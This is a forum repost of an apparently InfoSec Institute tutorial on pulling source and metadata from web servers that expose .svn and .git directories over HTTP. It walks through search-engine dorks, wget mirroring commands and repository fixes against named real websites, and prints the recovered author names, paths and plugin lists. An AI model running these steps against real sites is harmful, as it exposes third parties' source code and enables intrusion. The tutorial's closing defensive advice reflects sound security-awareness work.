Jump to content
Wubi

Hacking SVN, GIT, and MERCURIAL

Recommended Posts

1. Introduction

We all know that when programming with a small or large team, having a revision control in place is mandatory. We can choose from a number of revision control systems. The following ones are in widespread use worldwide:

CVS

Was one of the first revision control systems, and is therefore very simple, but can still be used for backing up files.

SVN

Subversion is one of the most widespread revision control systems today.

GIT

Was created by Linus Torvals and its main feature is its decentralized code view.

Mercurial

Is very similar to Git, but somewhat faster and simpler.

Bazaar

Similar to Git and Mercurial, but easier.

In this article we’ll take a look at a different revision control systems accessible over the HTTP/HTTPS and what we can gain from it. We all know that most revision control systems can be configured to be accessible over proprietary protocols, SSH, HTTP, etc. We also know that most of the times we need to posses the username and password to get access to the SSH protected Git for example. But HTTP/HTTPS a protocol where everything would be strictly protected by default; in HTTP/HTTPS we must intentionally protect the directory where a revision control system lives to protect it from unauthorized use. This is why we’ll take a look at what we can do with publicly accessible (over HTTP) revision control systems.

2. Getting Usable Info from SVN Repository

If we Google for a string presented in the picture below, the results containing publicly available SVN revision control systems using HTTP as transport protocol are shown. The searching string first looks for “.svn” directories with title strings “Index of”. If we search with only “.svn” search criterion, only irrelevant search results are found.

103012_1339_HackingSVNG1.png

In the picture above we can see that the search query found two publicly accessible SVN systems:

  1. Index of /.svn
  2. Index of /.svn

If we try to access one of those links, the SVN directory is presented to us as shown below:

103012_1339_HackingSVNG2.png

In the .svn/ directory we can see standard SVN files and folders. This usually happens because the DocumentRoot (the web page) is part of the svn repository, which also contains the folder .svn/ that is not appropriately protected. The .svn/ directory holds administrative data about that working directory to keep a revision of each of the files and folders contained in the repository, as well as other stuff. The entries file is the most important file in the .svn directory, because it contains information about every resource in a working copy directory. It keeps information about almost anything a subversion client is interested in.

What happens if we try to checkout the project? We can see that in the output below:


</p><p># svn co http://neo-layout.org/.svn neo </p><p>svn: Repository moved permanently to 'http://neo-layout.org/.svn/'; please relocate </p><p>

We can see that we can’t checkout the project, which makes sense, because we’re trying to checkout the ./svn folder itself. We should checkout the root of the project, which is the /. If we try that, we get the output below:


</p><p># svn co http://neo-layout.org/ </p><p>svn: OPTIONS of 'http://neo-layout.org': 200 OK (http://neo-layout.org) </p><p>

We’re not communicating with the SVN repository, but with Apache instead: notice the 200 status OK code. We can’t really checkout the project in a normal way. But let’s not despair, we can still download the project manually by right-clicking every file and saving it on our disk or writing a command that does that automatically for us. We can do that with wget command as follows:


</p><p># wget -m -I .svn http://neo-layout.org/.svn/ </p><p>

This will successfully download the svn repository as can be seen here:


</p><p># ls -al neo-layout.org/ </p><p>total 56 </p><p>drwxr-xr-x 3 eleanor eleanor 4096 Oct 2 16:18 . </p><p>drwxr-xr-x 75 eleanor eleanor 36864 Oct 2 16:18 .. </p><p>drwxr-xr-x 6 eleanor eleanor 4096 Oct 2 16:18 .svn </p><p>-rw-r--r-- 1 eleanor eleanor 5155 Jul 15 2011 index.html </p><p>-rw-r--r-- 1 eleanor eleanor 61 Jul 15 2011 robots.txt </p><p>

The directory neo-layout.org/ was created, which contains the important directory .svn, which in turn contains the entries file. Afterward we can cd into the working directory and issue SVN commands. An example of executing svn status is shown below:


</p><p># svn status </p><p>! neo.kbd </p><p>! stylesheet_ie7.css </p><p>! xkb.tgz </p><p>! de </p><p>! windows </p><p>! index_en.html </p><p>! favicon.ico </p><p>! mac </p><p>! installation </p><p>! grafik </p><p>! tastentierchen_fenster.svg </p><p>! kbdneo_ahk.exe </p><p>! svn </p><p>! neo.keylayout </p><p>! download </p><p>! portabel </p><p>! bsd </p><p>! kbdneo32.zip </p><p>! neo_portable.zip </p><p>! installiere_neo </p><p>! neo-logo.svg </p><p>! neo_portable.tar.gz </p><p>! chat </p><p>! tastentierchen_pingu.svg </p><p>! stylesheet.css </p><p>! neo.html </p><p>! tastentierchen_apfel.svg </p><p>! Compose.neo </p><p>! forum </p><p>! neo_kopf_trac_522x50.svg </p><p>! neo_de.xmodmap </p><p>! XCompose </p><p>! linux </p><p>! neo20.exe </p><p>! stylesheet_wiki.css </p><p>! portable </p><p>! kbdneo64.zip </p><p>

The first column in the output above indicates whether an item was added, deleted or otherwise changed. We can get a whole list of supported characters that indicate file status here. All of the listed files are missing, because we didn’t really checkout the repository but downloaded it with wget. But nevertheless we found out quite a lot about the actual files residing in the repository. Hm, maybe those files are actually accessible in the Apache DocumentRoot directory. Let’s try to access stylesheet_ie7.css which should be present.

103012_1339_HackingSVNG3.png

In the picture above we can see the representation of file stylesheet_ie7.css, which is indeed present in the DocumentRoot. We could have bruteforced the name of that file with DirBuster, but this is indeed easier and more accurate. We can try to download other files as well, which might provide us with quite more intel.

Let’s also try to run svn update:

# svn update 
svn: Unable to open an ra_local session to URL 
svn: Unable to open repository 'file:///sol/svn/neo/www' 

We were of course unable to execute that command successfully, but something interesting popped up. The name of the folder which holds the actual repository is /sol/svn/neo/www. The svn info command provides additional information about the repository:


</p><p># svn info </p><p>Path: . </p><p>URL: file:///sol/svn/neo/www </p><p>Repository Root: file:///sol/svn/neo </p><p>Repository UUID: b9310e46-f624-0410-8ea1-cfbb3a30dc96 </p><p>Revision: 2429 </p><p>Node Kind: directory </p><p>Schedule: normal </p><p>Last Changed Author: martin_r </p><p>Last Changed Rev: 2399 </p><p>Last Changed Date: 2011-06-25 10:56:02 +0200 (Sat, 25 Jun 2011) </p><p>

Notice the author and the last changed revision number and last changed date. That’s quite something.

3. Getting Usable Info from GIT Repository

This is inherently the same as with SVN repositories, but let’s discuss the Git repositories a little further. We can use the same search query “.git” with “intitle: index of”, which will search for all indexed .git repositories online. The picture below shows such a query made against Google search engine:

103012_1339_HackingSVNG4.png

Among many of the publicly accessible .git repositories, the following two were the first ones:

  1. Index of /.git
  2. www.bjphp.org/.git/

Let’s again try to checkout the repository. We can do that with the git clone command as shown below:


</p><p># git clone http://www.claytonking.com/.git/ </p><p>Cloning into 'www.claytonking.com'... </p><p>fatal: http://www.claytonking.com/.git/info/refs not valid: is this a git repository? </p><p>

We are again not successful in cloning the repository, because of the same reason as with SVN repositories, the actual repository is the Apache DocumentRoot directory. If we try to clone from that repository we’re not successful:


</p><p># git clone http://www.claytonking.com/ </p><p>Cloning into 'www.claytonking.com'... </p><p>fatal: http://www.claytonking.com/info/refs not valid: is this a git repository </p><p>

Nevermind, we’ll use the same approach as we did with SVN repositories: with wget command as follows:


</p><p> wget -m -I .git http://www.claytonking.com/.git/ </p><p>--2012-10-02 16:59:25-- http://www.claytonking.com/.git/ </p><p>Resolving www.claytonking.com... 174.143.64.58 </p><p>Connecting to www.claytonking.com|174.143.64.58|:80... connected. </p><p>HTTP request sent, awaiting response... 200 OK </p><p>Length: 249 1 </p><p>Saving to: `www.claytonking.com/.git/index.html' </p><p> </p><p>100%[===================================================================================================================================================================>] 249 --.-K/s in 0s </p><p> </p><p>Last-modified header missing -- time-stamps turned off. </p><p>2012-10-02 16:59:25 (27.6 MB/s) - `www.claytonking.com/.git/index.html' saved [249/249] </p><p> </p><p>FINISHED --2012-10-02 16:59:25-- </p><p>Total wall clock time: 0.3s </p><p>Downloaded: 1 files, 249 in 0s (27.6 MB/s) </p><p>

The wget command failed to download the .git directory. Why? We can quickly find out that access to that directory is denied as can be seen in the picture below:

103012_1339_HackingSVNG5.png

So that repository is properly secured against our attack. Let’s try another repository located at Index of /.git. If we try to open it in a web browser, it opens up successfully, which means that the wget command will also succeed. The following picture presents accessing the .git/ repository at host www.bjphp.org:

103012_1339_HackingSVNG6.png

To download the repository we can execute the following command:



</p><p># wget -m -I .git http://www.bjphp.org/.git/ </p><p>

Once the repository is downloaded, we can cd into it and issue git commands. Note that the repository is quite big, so it will take some time to be fully downloaded.

If we try to execute git status we get an error about a bad HEAD object:



</p><p># git status </p><p>fatal: bad object HEAD </p><p>

But we should be able to execute git status command, since all the information is contained in the .git/ folder. First we need to correct the HEAD pointer to point to the latest commit. We can do that by changing the .git/refs/heads/master and replacing the non-existing hash with an existing one. All the hashes can be found by executing the command below:



</p><p># find .git/objects/ </p><p>... </p><p>.git/objects/2f/e5c0f9c7ca304f0e32c40df8c3d0ca17d3fa51 </p><p>.git/objects/2f/99dae8e6ef73e91a5d6283d2a732b6372d5e27 </p><p>.git/objects/2f/1d58759d8640c62ad5fe0a4778a9474dc8abcc </p><p>.git/objects/2f/48ccd102e392b27af0301078d90abf0bced7d0 </p><p>.git/objects/2f/e318d9a6305702a7555859acedcec549371534 </p><p>.git/objects/2f/index.html </p><p>.git/objects/2f/86f0ae6bb797bf29700cb1d0d93e5e30a4e72b </p><p>

The output was truncated, but we can still see six hashes that we can use. Let’s put the last hash 86f0ae6bb797bf29700cb1d0d93e5e30a4e72b into the .git/refs/heads/master file and then execute the git status command:



</p><p># git status | head </p><p># </p><p># Initial commit </p><p># </p><p># Changes to be committed: </p><p># (use "git rm --cached <file>..." to unstage) </p><p># </p><p># new file: mainsite/.files.list </p><p># new file: mainsite/index.php </p><p># new file: mainsite/license.txt </p><p># new file: mainsite/readme.html </p><p>

The command obviously succeeded, it printed the modified, added, and deleted files at a point of the 86f0ae6bb797bf29700cb1d0d93e5e30a4e72b commit. Nevertheless we can find out that the site is running WordPress and all of the filenames are also printed. Afterward we can easily find out the name of the plugins the website is using with the command below:



</p><p># git status | grep "wp-content/plugins" | sed 's/.*wp-content\/plugins\/\([^\/]*\).*/\1/' | sort | uniq | grep -v ".php" </p><p>akismet </p><p>easy-table </p><p>facebooktwittergoogle-plus-one-share-buttons </p><p>jetpack </p><p>websimon-tables </p><p>

We could have written a better sed query, but it works for our example. If we try to access one of the listed files in web browser, we can see that the files are indeed accessible as can be seen below:

103012_1339_HackingSVNG7.png

4. Conclusion

We’ve seen how to pull various information from SVN and GIT repositories, but we could easily have done the same with other repository types. Having a repository publicly accessible can even lead to a total website defacement if a certain filename is found that contains all the passwords that are accessible via the web browser.

To protect ourselves we should never leave unprotected .git/ repositories online for everyone to see. We should at least write a corresponding .htaccess file to provide at least some protection.

Sursa InfoSec Institute Resources - Hacking SVN, GIT, and MERCURIAL

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...